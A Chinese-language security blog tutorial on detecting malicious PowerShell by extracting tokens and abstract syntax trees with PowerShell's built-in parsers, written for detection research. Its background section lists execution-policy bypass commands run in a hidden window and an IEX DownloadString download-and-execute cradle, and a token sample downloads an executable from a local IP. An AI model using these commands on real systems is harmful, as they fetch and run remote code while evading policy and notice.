[网络安全提高篇] 一一五.Powershell恶意代码检测 (3)Token关键词自动提取
“網絡安全提高班”新的100篇文章即將開啟,包括Web滲透、內網滲透、靶場搭建、CVE復現、攻擊溯源、實戰及CTF總結,它將更加聚焦,更加深入,也是作者的慢慢成長史。換專業確實挺難的,Web滲透也是塊硬骨頭,但我也試試,看看自己未來四年究竟能將它學到什么程度,漫漫長征路,偏向虎山行。享受過程,一起加油~
前文簡單介紹了抽象語法樹的抽取方法,通過官方提供的接口實現,包括抽象語法樹可視化和節點提取。這篇文章將詳細介紹Token關鍵詞的抽取方法,它是指Powershell中具有特定含義的字段,主要通過官方提供的接口實現。希望這篇文章對您有幫助,也推薦大家去閱讀論文,且看且珍惜。
文章目錄
- 一.Powershell基礎知識
- 1.高威脅
- 2.基礎語法
- 3.Bypass
- 二.powershell.one
- 1.概念
- 2.訪問AST
- 三.Tokenizing PowerShell Scripts
- 1.Token多彩的世界
- 2.PSParser 概述
- 3.Tokenizing PowerShell
- 四.Token提取實例
- 1.基礎用法
- (1) 提取AST
- (2) 提取Token
- (3) 提取變量和命令列表
- 2.批量分析
- 3.提取token對應的text
- 五.自動提取Powershell的AST和Token實例
- 六.總結
作者作為網絡安全的小白,分享一些自學基礎教程給大家,主要是關于安全工具和實踐操作的在線筆記,希望您們喜歡。同時,更希望您能與我一起操作和進步,后續將深入學習網絡安全和系統安全知識并分享相關實驗。總之,希望該系列文章對博友有所幫助,寫文不易,大神們不喜勿噴,謝謝!如果文章對您有幫助,將是我創作的最大動力,點贊、評論、私聊均可,一起加油喔~
- 自學篇工具:https://github.com/eastmountyxz/NetworkSecuritySelf-study
- 系統安全:https://github.com/eastmountyxz/SystemSecurity-ReverseAnalysis
聲明:本人堅決反對利用教學方法進行犯罪的行為,一切犯罪行為必將受到嚴懲,綠色網絡需要我們共同維護,更推薦大家了解它們背后的原理,更好地進行防護。
提高篇:(自學系列100篇目錄放在文章末尾)
- [網絡安全提高班] 一〇一.網絡空間安全普及和醫療數據安全防護總結
- [網絡安全提高篇] 一〇二.Metasploit技術之基礎用法萬字詳解及MS17-010漏洞復現
- [網絡安全提高篇] 一〇三.Metasploit后滲透技術之信息收集、權限提權、移植漏洞模塊和后門
- [網絡安全提高篇] 一〇四.網絡滲透靶場Oracle+phpStudy本地搭建萬字詳解(SQL注入、XSS攻擊、文件上傳漏洞)
- [網絡安全提高篇] 一〇五.SQL注入之揭秘Oracle數據庫注入漏洞和致命問題(聯合Cream老師)
- [網絡安全提高篇] 一〇六.SQL注入之手工注入和SQLMAP入門案例詳解
- [網絡安全提高篇] 一〇七.安全威脅框架理解及勒索病毒取證溯源分析(藍隊)
- [網絡安全提高篇] 一〇八.Powershell和PowerSploit腳本攻擊詳解 (1)
- [網絡安全提高篇] 一〇九.津門杯CTF的Web Write-Up萬字詳解(SSRF、文件上傳、SQL注入、代碼審計、中國蟻劍)
- [網絡安全提高篇] 一一〇.強網杯CTF的Web Write-Up(上) 尋寶、賭徒、EasyWeb、pop_master
- [網絡安全提高篇] 一一一.ISC會議觀后感之網絡安全需要新戰法和新框架
- [網絡安全提高篇] 一一二.DataCon Coremail郵件安全競賽之釣魚郵件識別及分類
- [網絡安全提高篇] 一一三.Powershell惡意代碼檢測 (1)論文總結及抽象語法樹(AST)提取
- [網絡安全提高篇] 一一四.Powershell惡意代碼檢測 (2)抽象語法樹自動提取萬字詳解
- [網絡安全提高篇] 一一五.Powershell惡意代碼檢測 (3)Token關鍵詞自動提取
一.Powershell基礎知識
1.高威脅
近年來,Powershell 由于其易用性強、隱蔽性高的特點被廣泛應用于 APT 攻擊中,傳統的基于人工特征提取和機器學習方法的惡意代碼檢測技術在 Powershell 惡意代碼檢測中越來越難以有效。
Microsoft 的 PowerShell 是一種命令行 shell 和腳本語言,默認安裝在 Windows 機器上。它基于微軟的.NET 框架,包括一個允許程序員訪問操作系統服務的接口。雖然管理員可以配置 PowerShell 以限制訪問和減少漏洞,但可以繞過這些限制。此外,PowerShell 命令可以輕松地動態生成、從內存中執行、編碼和混淆,從而使 PowerShell 執行的代碼的日志記錄和取證分析具有挑戰性。
由于這些原因,PowerShell 越來越多地被網絡犯罪分子用作其攻擊工具鏈的一部分,主要用于下載惡意內容和橫向移動。事實上,賽門鐵克最近一份關于 PowerShell 被網絡犯罪分子濫用的綜合技術報告報告稱,他們收到的惡意 PowerShell 樣本數量以及使用 PowerShell 的滲透工具和框架的數量急劇增加。這凸顯了開發檢測惡意 PowerShell 命令的有效方法的迫切需要。
2.基礎語法
此外,在滲透測試中,Powershell是不能忽略的一個環節,而且仍在不斷地更新和發展,它具有良好的靈活性和功能化管理Windows系統的能力。一旦攻擊者可以在一臺計算機上運行代碼,就會下載PowerShell腳本文件(.ps1)到磁盤中執行,甚至無須寫到磁盤中執行,它就可以直接在內存中運行。
這些特點使得PowerShell在獲得和保持對系統的訪問權限時,成為攻擊者首選的攻擊手段,利用PowerShell的諸多特點,攻擊者可以持續攻擊而不被輕易發現。常用的PowerShell攻擊工具有以下幾種。
- PowerSploit
這是眾多PowerShell攻擊工具中被廣泛使用的PowerShell后期漏洞利用框架,常用于信息探測、特權提升、憑證竊取、持久化等操作。 - Nishang
基于PowerShell的滲透測試專用工具,集成了框架、腳本和各種Payload,包含下載和執行、鍵盤記錄、DNS、延時命令等腳本。 - Empire
基于PowerShell的遠程控制木馬,可以從憑證數據庫中導出和跟蹤憑據信息,常用于提供前期漏洞利用的集成模塊、信息探測、憑據竊取、持久化控制。 - PowerCat
PowerShell版的NetCat,有著網絡工具中的“瑞士軍刀”美譽,它能通過TCP和UDP在網絡中讀寫數據。通過與其他工具結合和重定向,讀者可以在腳本中以多種方式使用它。
在PowerShell下,類似“cmd命令”叫作“cmdlet”,其命名規范相當一致,都采用“動詞-名詞”的形式,如New-Item,動詞部分一般為Add、New、Get、Remove、Set等,命名的別名一般兼容Windows Command和Linux Shell,如Get-ChildItem命令使用dir或ls均可,而且PowerShell命令不區分大小寫。
下面以文件操作為例講解PowerShell命令的基本用法。
- 新建目錄:New-Item whitecellclub-ItemType Directory
- 新建文件:New-Item light.txt-ItemType File
- 刪除目錄:Remove-Item whitecellclub
- 顯示文件內容:Get-Content test.txt
- 設置文件內容:Set-Content test.txt-Value “hello,world!”
- 追加內容:Add-Content light.txt-Value “i love you”
- 清除內容:Clear-Content test.txt
舉個簡單的示例:
New-Item test -ItemType directory Remove-Item test New-Item eastmount.txt -ItemType file -value "hello csdn" Get-Content eastmount.txt Add-Content eastmount.txt -Value " bye!" Get-Content eastmount.txt Set-Content eastmount.txt -Value "haha" Get-Content eastmount.txt Clear-Content eastmount.txt Get-Content eastmount.txt Remove-Item eastmount.txt Get-Content eastmount.txt3.Bypass
經過測試,在cmd窗口執行過程下載的PowerShell腳本,不論當前策略,都可以直接運行。而如果要在PowerShell窗口運行腳本程序,必須要管理員權限將Restricted策略改成Unrestricted,所以在滲透時,就需要采用一些方法繞過策略來執行腳本。
(1) 下載遠程PowerShell腳本繞過權限執行
調用DownloadString函數下載遠程的ps1腳本文件。
下圖引用謝公子的圖片,切換到CMD窗口運行。
(2) 繞過本地權限執行
上傳xxx.ps1至目標服務器,在CMD環境下,在目標服務器本地執行該腳本,如下所示。
(3) 本地隱藏繞過權限執行腳本
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -NonInteractive -NoProfile -File xxx.ps1舉個示例:
- powershell.exe -exec bypass -W hidden -nop test.ps1
(4) 用IEX下載遠程PS1腳本繞過權限執行
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden-NoProfile -NonIIEX(New-ObjectNet.WebClient).DownloadString("xxx.ps1");[Parameters]函數定義:
function Test-MrParameter {param ([string]$ComputerName)Write-Output $ComputerNameWrite-Output ($ComputerName+$ComputerName)Write-Output ($ComputerName+$ComputerName+$ComputerName) }查看和使用函數:
Get-Command -Name Test-MrParameter -Syntax Test-MrParameter -ComputerName 'this is a computer name' pause輸出結果:
Test-MrParameter [[-ComputerName] <Object>]this is a computer name 按 Enter 鍵繼續...:二.powershell.one
PowerShell 的抽象語法樹作為代碼的語義表達,以多叉樹的形式表示腳本功能的邏輯結構,保留了代碼上下文的特征并剔除無關的參數干擾,是分析功能類似的PowerShell代碼的有效方法 。常見方法是使用接口或編寫自定義程序實現。前文介紹了第一種方法,這篇文章將介紹官方提供的接口。
- Deobshell
https://github.com/thewhiteninja/deobshell - powershell.one => Convert-CodeToAst
https://powershell.one/powershell-internals/parsing-and-tokenization/abstract-syntax-tree#ast-object-inheritance
Windows 為PowerShell提供了訪問腳本AST的接口,使用內置接口獲取的 AST 結構如圖所示。
The Abstract Syntax Tree (AST) groups tokens into meaningful structures and is the most sophisticated way of analyzing PowerShell code.
1.概念
PowerShell解析器將單個字符轉換為有意義的關鍵字并區分例如命令、參數和變量,這稱為標記化,之前已介紹過。例如,編輯器使用這些標記為代碼著色并以與命令不同的顏色顯示變量。
解析器并不止于此。為了讓PowerShell執行代碼,它需要知道各個令牌如何形成可以執行的結構。解析器獲取標記并構建一個抽象語法樹(AST),它基本上將標記分組為有意義的結構。
抽象語法樹之所以稱為樹,是因為它的工作方式類似于分層樹。PowerShell從第一個標記開始,然后采用PowerShell語言定義(語法)來查看下一個可能的標記可能是什么。這樣,解析器就可以通過代碼工作。
- 情況1:PowerShell成功并創建代碼的有效結構
- 情況2:遇到并引發語法錯誤
2.訪問AST
從PowerShell 3 開始,抽象語法樹向您公開,因此您現在也可以分析PowerShell代碼并了解其內部結構。訪問 AST 的主要方法有兩種:
- ScriptBlock(代碼塊):一個scriptblock是一個有效的PowerShell代碼塊,所以它已經被解析器處理過了,并且解析器保證代碼中沒有語法錯誤。每個scriptblock都有一個名為AST的屬性,它公開了scriptblock中包含的代碼的抽象語法樹。
- Parser(解析器):您可以要求PowerShell解析器解析任意代碼并返回令牌和AST。當您輸入和執行代碼時,您基本上是在模仿PowerShell所做的事情。因為解析器處理原始文本,所以不能保證代碼在語法上是正確的。這就是解析器還返回它發現的任何語法錯誤的原因。
查看AST的簡單示例如下圖所示,您可以查看解析器構建的抽象語法樹(AST)。
$code.Invoke() $code = { "Hello" * 10 } $code.Ast輸出結果如下圖所示:
這可以用來創建一個簡單的測試函數來識別PowerShell代碼
function Test-PowerShellCode {param([string]$Code)try{# try and convert string to scriptblock:$null = [ScriptBlock]::Create($Code)}catch{# the parser is invoked implicitly and returns# syntax errors as exceptions:$_.Exception.InnerException.Errors} }抽象語法樹(AST) 是Ast對象的樹。這棵樹的頂部是解析器返回給您的內容。遍歷抽象語法樹時遇到的任何Ast對象都具有Parent和Extent屬性。Parent定義樹關系,Extent定義Ast對象涵蓋的PowerShell代碼。
常見方法如下:
Name Signature ---- --------- Copy System.Management.Automation.Language.Ast Copy() Find System.Management.Automation.Language.Ast Find(System.Func[System.Management.Automation.Language.Ast,bool] predicate, bool searchNestedScriptBlocks) FindAll System.Collections.Generic.IEnumerable[System.Management.Automation.Language.Ast] FindAll(System.Func[System.Management.Automation.Language.Ast,bool] predicate, b... Visit System.Object Visit(System.Management.Automation.Language.ICustomAstVisitor astVisitor), void Visit(System.Management.Automation.Language.AstVisitor astVisitor)三.Tokenizing PowerShell Scripts
通過將 PowerShell 代碼轉換為標記和結構,您可以發現錯誤、自動記錄您的代碼并創建強大的重構工具。
- https://powershell.one/powershell-internals/parsing-and-tokenization/simple-tokenizer
1.Token多彩的世界
每當您將PowerShell代碼加載到專門的編輯器中時,代碼都會被神奇地著色,如下圖VS Code所示,并且每種顏色都代表一個給定的標記類型。顏色可以幫助您了解PowerShell如何解釋您的代碼。
沒有內置PowerShell引擎(如notepad++或VSCode)的通用編輯器使用復雜的正則表達式來嘗試正確識別tokens。然而,想要100%精確的tokens,可以直接使用PowerShell解析器(PowerShell Parser),而不是通用RegEx規則。在本文中,我們將分享PowerShell解析器的優點。
- Token:本文理解為關鍵字段,自動解析每個標簽的含義,比如變量定義、函數、關鍵詞等。
接下來您將獲得一個新的命令:
- Test-PSOneScript
它能解析一個或數千個PowerShell文件并立即返回100%準確的Token。它是我們 PSOneTools 模塊的一部分,因此只需安裝最新版本即可使用該命令,或使用提供的源代碼。
Install-Module -Name PSOneTools -Scope CurrentUser -Force當我們得到Token(令牌)后,還可以做很多有趣的事情,例如:
- 自動記錄代碼并創建在腳本中找到的變量、命令或方法調用列表
- 識別導致解析器阻塞的語法錯誤
- 使用有風險的命令執行安全分析并識別腳本
2.PSParser 概述
PSParser是PowerShell早期版本中內置的原始解析器。盡管它很舊,但它仍然是所有PowerShell版本的一部分,并且由于其簡單性而非常有用。
它區分了 20 種不同的令牌類型:
PS> [Enum]::GetNames([System.Management.Automation.PSTokenType]).Count 20PS> [Enum]::GetNames([System.Management.Automation.PSTokenType]) | Sort-Object Attribute Command CommandArgument CommandParameter Comment GroupEnd GroupStart Keyword LineContinuation LoopLabel Member NewLine Number Operator Position StatementSeparator String Type Unknown Variable當您使用PSParser對PowerShell代碼進行標記時,它會逐個字符地讀取您的代碼并將這些字符分組為有意義的單詞,即tokens。如果PSParser遇到它不期望的字符,它會生成Syntax Errors,即當字符串以雙引號開頭但以單引號結尾時。
3.Tokenizing PowerShell
使用 Tokenize() 對PowerShell 代碼進行標記。這是一個簡單的例子,假設存在“get_token_001.ps1”代碼。
Tokenize()需要您要標記的代碼,以及一個可以填充任何語法錯誤的空變量。因為變量$errors在Tokenize啟動時是空的,并且在方法解析代碼時被填充,所以它需要通過引用(內存指針)提交,這在PowerShell中是通過[ref]完成的。
當Tokenize()完成時,您會在變量tokens中收到所有令牌作為返回值,以及errors中的任何語法錯誤。
- $tokens = [System.Management.Automation.PSParser]::Tokenize($code, [ref]$errors)
- $syntaxError = $errors | Select-Object -ExpandProperty Token -Property Message
具體代碼如下:
# the code that you want tokenized: $code = {# this is some test code$service = Get-Service |Where-Object Status -eq Running }# create a variable to receive syntax errors: $errors = $null # tokenize PowerShell code: $tokens = [System.Management.Automation.PSParser]::Tokenize($code, [ref]$errors)# analyze errors: if ($errors.Count -gt 0) {# move the nested token up one level so we see all properties:$syntaxError = $errors | Select-Object -ExpandProperty Token -Property Message$syntaxError } else {$tokens }輸出結果如下圖所示,每個Token都由一個PSToken對象表示,該對象以字符串形式返回令牌內容、令牌類型以及找到令牌的確切位置。
- 注釋
- 變量
- 運算
- 命令
- 實參和形參
如果解析器在解析代碼時遇到意外字符,則會生成語法錯誤。解析器繼續解析,因此可能會返回多個語法錯誤。解析器為每個語法錯誤發出一個PSParseError對象,如下所示:
四.Token提取實例
要檢查真正的基于文件的腳本,只需將上面的邏輯嵌入到管道感知函數中。Test-PSOneScript 正是這樣做的,并使解析PowerShell文件變得輕而易舉:
function Test-PSOneScript {<#.SYNOPSISParses a PowerShell Script (*.ps1, *.psm1, *.psd1).DESCRIPTIONInvokes the simple PSParser and returns tokens and syntax errors.EXAMPLETest-PSOneScript -Path c:\test.ps1Parses the content of c:\test.ps1 and returns tokens and syntax errors.EXAMPLEGet-ChildItem -Path $home -Recurse -Include *.ps1,*.psm1,*.psd1 -File |Test-PSOneScript |Out-GridViewparses all PowerShell files found anywhere in your user profile.EXAMPLEGet-ChildItem -Path $home -Recurse -Include *.ps1,*.psm1,*.psd1 -File |Test-PSOneScript |Where-Object Errorsparses all PowerShell files found anywhere in your user profileand returns only those files that contain syntax errors.LINKhttps://powershell.one#>param(# Path to PowerShell script file# can be a string or any object that has a "Path" # or "FullName" property:[String][Parameter(Mandatory,ValueFromPipeline)][Alias('FullName')]$Path)begin{$errors = $null}process{# create a variable to receive syntax errors:$errors = $null# tokenize PowerShell code:$code = Get-Content -Path $Path -Raw -Encoding Default# return the results as a custom object[PSCustomObject]@{Name = Split-Path -Path $Path -LeafPath = $PathTokens = [Management.Automation.PSParser]::Tokenize($code, [ref]$errors)Errors = $errors | Select-Object -ExpandProperty Token -Property Message} } }由于本文主要針對Powershell文件的token提取,所以檢查語法錯誤的功能建議讀者查看官方網站。
1.基礎用法
解析單個文件,只需將其路徑提交到Test-PSOneScript,它立即返回標記和任何語法錯誤(如果存在)。
$Path = "C:\Users\tobia\test.ps1" $result = Test-PSOneScript -Path $Path本文嘗試解析“data\example-004.ps1”文件。該文件的Powershell內容如下:
$service = Get-Service | Where-Object Status -eq Running(1) 提取AST
這里先給出一張上一篇文章解析的抽象語法樹(AST)圖。
function Convert-CodeToAst {param([Parameter(Mandatory)] # 強制參數[System.String]$str # 執行ps文件名稱)# 構建hashtable$hierarchy = @{}$result = [System.Collections.ArrayList]@()# 提取ps文件中的內容 Write-Output ("file name: {0}" -f ($str))$content = Get-content $strWrite-Output $content# 創建Scipt代碼塊$code = [ScriptBlock]::Create($content)# 提取AST$code.Ast.FindAll( { $true }, $true) |ForEach-Object {# take unique object hash as key$id = 0;if($_.Parent) {$id = $_.Parent.GetHashCode()}Write-Debug('{0}:{1}' -f $_.GetType().Name,$id)if ($hierarchy.ContainsKey($id) -eq $false) {$hierarchy[$id] = [System.Collections.ArrayList]@()}$null = $hierarchy[$id].Add($_)# add ast object to parent}# 遞歸可視化樹function Visualize-Tree($Id, $Indent = 0){# 每級縮進$space = '--' * $indent$hierarchy[$id] | ForEach-Object {# 輸出AST對象'{0}[{1}]: {2}' -f $space, $_.GetType().Name, $_.Extent# 獲取當前AST對象的id$newid = $_.GetHashCode()# 遞歸其子節點(if any)if ($hierarchy.ContainsKey($newid)) {Visualize-Tree -id $newid -indent ($indent + 1)}}}# 使用AST根對象開始可視化Visualize-Tree -id $code.Ast.GetHashCode()return $result }Convert-CodeToAst -str .\data\example-004.ps1輸出結果如下所示:
(2) 提取Token
提取單個文件Token的代碼如下所示:
function Test-PSOneScript {<#.SYNOPSISParses a PowerShell Script (*.ps1, *.psm1, *.psd1).DESCRIPTIONInvokes the simple PSParser and returns tokens and syntax errors.EXAMPLETest-PSOneScript -Path c:\test.ps1Parses the content of c:\test.ps1 and returns tokens and syntax errors.EXAMPLEGet-ChildItem -Path $home -Recurse -Include *.ps1,*.psm1,*.psd1 -File |Test-PSOneScript |Out-GridViewparses all PowerShell files found anywhere in your user profile.EXAMPLEGet-ChildItem -Path $home -Recurse -Include *.ps1,*.psm1,*.psd1 -File |Test-PSOneScript |Where-Object Errorsparses all PowerShell files found anywhere in your user profileand returns only those files that contain syntax errors.LINKhttps://powershell.one#>param(# Path to PowerShell script file# can be a string or any object that has a "Path" # or "FullName" property:[String][Parameter(Mandatory,ValueFromPipeline)][Alias('FullName')]$Path)begin{$errors = $null}process{# create a variable to receive syntax errors:$errors = $null# tokenize PowerShell code:$code = Get-Content -Path $Path -Raw -Encoding DefaultWrite-Output $code# return the results as a custom object[PSCustomObject]@{Name = Split-Path -Path $Path -LeafPath = $PathTokens = [Management.Automation.PSParser]::Tokenize($code, [ref]$errors)Errors = $errors | Select-Object -ExpandProperty Token -Property Message} } }# 執行函數 $Path = ".\data\example-004.ps1" $result = Test-PSOneScript -Path $Path $errors = $result.Errors.Count -gt 0 $tokens = $result.Tokens.Type | Sort-Object -Unique# 輸出結果 Write-Output ($result) Write-Output ($errors,"`n") Write-Output ($tokens)其中,檢查腳本文件是否有語法錯誤的核心代碼如下:
$result.Errors.Count -gt 0 False獲取腳本中存在的所有令牌類型的列表核心代碼如下:
$result.Tokens.Type | Sort-Object -Unique最終輸出結果如下圖所示:
如果輸入代碼是“$a = 1”,則輸出結果如下圖所示:
(3) 提取變量和命令列表
要獲取腳本中使用的所有變量的列表,只需過濾標記類型Variable。同樣,如果您想獲取腳本使用的命令列表,請過濾適當的令牌類型 ( Command )。
# 執行函數 $Path = ".\data\example-004.ps1" $result = Test-PSOneScript -Path $Path $errors = $result.Errors.Count -gt 0 $tokens = $result.Tokens.Type | Sort-Object -Unique Write-Output ($result) Write-Output ($errors,"`n") Write-Output ($tokens,"`n")# 提取變量列表 $variables = $result.Tokens | Where-Object Type -eq Variable | Sort-Object -Property Content -Unique | ForEach-Object { '${0}' -f $_.Content} Write-Output ("Get Variables:") Write-Output ($variables,"`n")# 提取命令列表 $commands = $result.Tokens | Where-Object Type -eq Command | Sort-Object -Property Content -Unique | Select-Object -ExpandProperty Content Write-Output ("Get Commands:") Write-Output ($commands,"`n")# 提取.NET方法列表 $members = $result.Tokens | Where-Object Type -eq Member | Select-Object -ExpandProperty Content |Sort-Object -Unique Write-Output ("Get Members:") Write-Output ($members,"`n")您甚至可以分析命令的使用頻率。這將為您提供 10 個最常用的命令。
PS> $result.Tokens | Where-Object Type -eq Command | Select-Object -ExpandProperty Content |Group-Object -NoElement |Sort-Object -Property Count -Descending |Select-Object -First 10Count Name ----- ---- 51 Search-AD 49 New-Object 35 Write-Verbose 29 get-date 25 % 24 New-TimeSpan 24 Where 21 select 19 Sort-Object 17 Invoke-Method2.批量分析
Test-PSOneScript不能一次只檢查一個文件。它完全支持管道,并且知道如何處理Get-ChildItem.
(1) 查找有錯誤的腳本
如果您想在腳本庫中的任何位置識別具有語法錯誤的腳本,只需運行Get-ChildItem以收集要測試的文件,并將它們通過管道傳輸到Test-PSOneScript如下所示:
(2) 識別有風險的命令
如果您想識別使用有風險命令的腳本,例如Invoke-Expression,只需調整過濾器。
3.提取token對應的text
前面3.3部分介紹了一個案例,主要是調用PSToken Class提取Token內容,其屬性是可以直接調用的。因此,接下來我們嘗試提取token對應的text。
完整代碼如下:
# 函數:提取Token內容 function Test-PSOneScript {<#.SYNOPSISParses a PowerShell Script (*.ps1, *.psm1, *.psd1).DESCRIPTIONInvokes the simple PSParser and returns tokens and syntax errors.EXAMPLETest-PSOneScript -Path c:\test.ps1Parses the content of c:\test.ps1 and returns tokens and syntax errors.EXAMPLEGet-ChildItem -Path $home -Recurse -Include *.ps1,*.psm1,*.psd1 -File |Test-PSOneScript |Out-GridViewparses all PowerShell files found anywhere in your user profile.EXAMPLEGet-ChildItem -Path $home -Recurse -Include *.ps1,*.psm1,*.psd1 -File |Test-PSOneScript |Where-Object Errorsparses all PowerShell files found anywhere in your user profileand returns only those files that contain syntax errors.LINKhttps://powershell.one#>param(# Path to PowerShell script file# can be a string or any object that has a "Path" # or "FullName" property:[String][Parameter(Mandatory,ValueFromPipeline)][Alias('FullName')]$Path)begin{$errors = $null}process{# create a variable to receive syntax errors:$errors = $null# tokenize PowerShell code:$code = Get-Content -Path $Path -Raw -Encoding DefaultWrite-Output $code# return the results as a custom object[PSCustomObject]@{Name = Split-Path -Path $Path -LeafPath = $PathTokens = [Management.Automation.PSParser]::Tokenize($code, [ref]$errors)Errors = $errors | Select-Object -ExpandProperty Token -Property Message} } }# 執行函數 $Path = ".\data\example-004.ps1" $result = Test-PSOneScript -Path $Path $errors = $result.Errors.Count -gt 0 $tokens = $result.Tokens.Type | Sort-Object -Unique Write-Output ($result) Write-Output ($errors,"`n") Write-Output ($tokens,"`n")# 提取變量列表 $variables = $result.Tokens | Where-Object Type -eq Variable | Sort-Object -Property Content -Unique | ForEach-Object { '${0}' -f $_.Content} Write-Output ("Get Variables:") Write-Output ($variables,"`n")# 提取命令列表 $commands = $result.Tokens | Where-Object Type -eq Command | Sort-Object -Property Content -Unique | Select-Object -ExpandProperty Content Write-Output ("Get Commands:") Write-Output ($commands,"`n")# 提取Token內容 $token_texts = $result.Tokens.Content Write-Output ($token_texts.GetType()) $strToken = '' foreach($elem in $token_texts) {$elem = $elem | Out-String #Object轉String$text = $elem.Trim()if($strToken.Length -ne 0) { #不等于$text = " " + $text}$strToken = $strToken + $text } Write-Output ("Get Texts:") Write-Output ($strToken,$strToken.Length)輸出結果如下圖所示:
提取的Token被空格拼接,比如:
service = Get-Service | Where-Object Status -eq Running powershell ( new-object system.net.webclient ) . downloadfile ( http://192.168.10.11/test.exe , test.exe ) ;五.自動提取Powershell的AST和Token實例
最后作者結合上一篇文章提取CSV文件中的代碼,實現AST和Token提取。其中CSV文件如下:
完整代碼如下:
#------------------------------------------------------ # 第一部分:批量讀取文件 # By: Eastmount CSDN 2022-03-12 #------------------------------------------------------ function Read_csv_powershell {param ([parameter(Mandatory=$true)][System.String]$inputfile,[System.String]$outputfile)# 讀取CSV文件$content = Import-CSV $inputfile$list = [System.Collections.ArrayList]@()foreach($line in $content) {$no = $line.("no")$code = $line.("decoded code")$name = $line.("family name")# Write-Output($no, $code, $name)# 轉換抽象語法樹AST和Tokentry {$ast = Convert-CodeToAst -str $codeWrite-Output($ast)$token = get_token_text -str $codeWrite-Output($token)} catch [System.Exception] {'exception info:{0}' -f $_.Eception.Messagecontinue}$list.add([PSCustomObject]@{no = $nocode = $codename = $nameast = $asttoken = $token})}$list | ConvertTo-Csv -NoTypeInformation | out-file $outputfile -Encoding ascii -ForceWrite-Output($list) }#------------------------------------------------------ # 第二部分:提取并拼接AST節點內容 #------------------------------------------------------ function add_blanks {param ([parameter(Mandatory=$true)][System.Array]$arr)$strNode = ''foreach($elem in $arr) {if($strNode.Length -ne 0) { #不等于$elem = " " + $elem}$strNode = $strNode + $elem}return $strNode }# 函數:提取Powershell代碼的抽象語法樹(AST) function Convert-CodeToAst {param([Parameter(Mandatory)] # 強制參數[System.String]$str # 執行ps代碼)# 構建hashtable$hierarchy = @{}$result = [System.Collections.ArrayList]@()# 創建Scipt代碼塊$code = [ScriptBlock]::Create($str)# 提取AST$code.Ast.FindAll( { $true }, $true) |ForEach-Object {# take unique object hash as key$id = 0;if($_.Parent) {$id = $_.Parent.GetHashCode()}Write-Debug('{0}:{1}' -f $_.GetType().Name,$id)if ($hierarchy.ContainsKey($id) -eq $false) {$hierarchy[$id] = [System.Collections.ArrayList]@()}$null = $hierarchy[$id].Add($_)# add ast object to parent}# 遞歸可視化樹function Visualize-Tree($Id){# 每級縮進$hierarchy[$id] | ForEach-Object {# 獲取當前AST對象的id$newid = $_.GetHashCode()# 遞歸其子節點(if any)if ($hierarchy.ContainsKey($newid)){Visualize-Tree -id $newid}$null = $result.Add($_.GetType().Name)}}# 使用AST根對象開始可視化Visualize-Tree -id $code.Ast.GetHashCode()# Write-Output ($result,"`n")# result存儲根節點內容$strNode = add_blanks -arr $resultreturn $strNode }#------------------------------------------------------ # 第三部分:提取并拼接Token內容 #------------------------------------------------------ # 函數:拼接Token內容 function get_token_text {param ([Parameter(Mandatory)] # 強制參數[System.String]$str # 執行ps代碼)# 創建Scipt代碼塊$code = [ScriptBlock]::Create($str)# 提取token$errors = $null$tokens = [System.Management.Automation.PSParser]::Tokenize($code, [ref]$errors)$syntaxError = $errors | Select-Object -ExpandProperty Token -Property Message$token_texts = $tokens.Content# Write-Output ($token_texts)# 拼接字符串$strToken = ''foreach($elem in $token_texts) {$elem = $elem | Out-String #Object轉String$text = $elem.Trim()if($strToken.Length -ne 0) { #不等于$text = " " + $text}$strToken = $strToken + $text}# Write-Output ("Get Texts:")# Write-Output ($strToken,$strToken.Length)return $strToken }#------------------------------------------------------ # 主函數:讀取CSV文件并提取AST和Token #------------------------------------------------------ $inputCSV = '.\data\data.csv' $outputCSV = '.\data\data_AST_Token.csv' Read_csv_powershell -inputfile $inputCSV -outputfile $outputCSV最終輸出結果如下圖所示:
同時存儲至本地。
注意,利用上述代碼在對PS文件解析時,可能會報錯誤。查了很多資料都無解決方法。
- 表達式或語句中包含意外的標記
- CategoryInfo : NotSpecified: ( : ) [], MethodInvocationException
最后解決發現:是Create會解析Powershell代碼,保證其無語法錯誤才創建代碼塊。這里使用另一種方法替換,即:
- https://stackoverflow.com/questions/39909021/parsing-powershell-script-with-ast
完整代碼如下:
function Convert-CodeToAst {param([Parameter(Mandatory)] # 強制參數[System.String]$str # 執行ps文件名稱)# 構建hashtable$hierarchy = @{}$result = [System.Collections.ArrayList]@()# 提取ps文件中的內容 Write-Output ("file name: {0}" -f ($str))$content = Get-content $strWrite-Output $content# 創建Scipt代碼塊# 報錯:表達式或語句中包含意外的標記# 原因:Create需要保證PS代碼正確# $code = [ScriptBlock]::Create($content)$tokens = $null$errors = $null$code = [Management.Automation.Language.Parser]::ParseInput($content, [ref]$tokens, [ref]$errors)Write-Output $code# 提取AST$code.FindAll( { $true }, $true) |ForEach-Object {# take unique object hash as key$id = 0;if($_.Parent) {$id = $_.Parent.GetHashCode()}Write-Debug('{0}:{1}' -f $_.GetType().Name,$id)if ($hierarchy.ContainsKey($id) -eq $false) {$hierarchy[$id] = [System.Collections.ArrayList]@()}$null = $hierarchy[$id].Add($_)# add ast object to parent}# 遞歸可視化樹function Visualize-Tree($Id){# 每級縮進$hierarchy[$id] | ForEach-Object {# 獲取當前AST對象的id$newid = $_.GetHashCode()# 遞歸其子節點(if any)if ($hierarchy.ContainsKey($newid)){Visualize-Tree -id $newid}$null = $result.Add($_.GetType().Name)}}# 使用AST根對象開始可視化Visualize-Tree -id $code.GetHashCode()Write-Output $resultreturn $result }Convert-CodeToAst -str .\data\beacon六.總結
寫到這里這篇文章就介紹介紹,希望對您有所幫助。
- 一.Powershell基礎知識
1.高威脅
2.基礎語法
3.Bypass - 二.powershell.one
1.概念
2.訪問AST - 三.Tokenizing PowerShell Scripts
1.Token多彩的世界
2.PSParser 概述
3.Tokenizing PowerShell - 四.Token提取實例
1.基礎用法
(1) 提取AST
(2) 提取Token
(3) 提取變量和命令列表
2.批量分析
3.提取token對應的text - 五.自動提取Powershell的AST和Token實例
- 六.總結
歡迎大家討論,是否覺得這系列文章幫助到您!任何建議都可以評論告知讀者,共勉。
- 逆向分析:https://github.com/eastmountyxz/SystemSecurity-ReverseAnalysis
- 網絡安全:https://github.com/eastmountyxz/NetworkSecuritySelf-study
(By:Eastmount 2022-03-20 夜于武漢 http://blog.csdn.net/eastmount/ )
能看到這里的讀者,我說聲誠懇的感謝。作者再給一個福利,推薦三個Powershell寶藏網站。
- https://powershell.one/powershell-internals/parsing-and-tokenization/abstract-syntax-tree
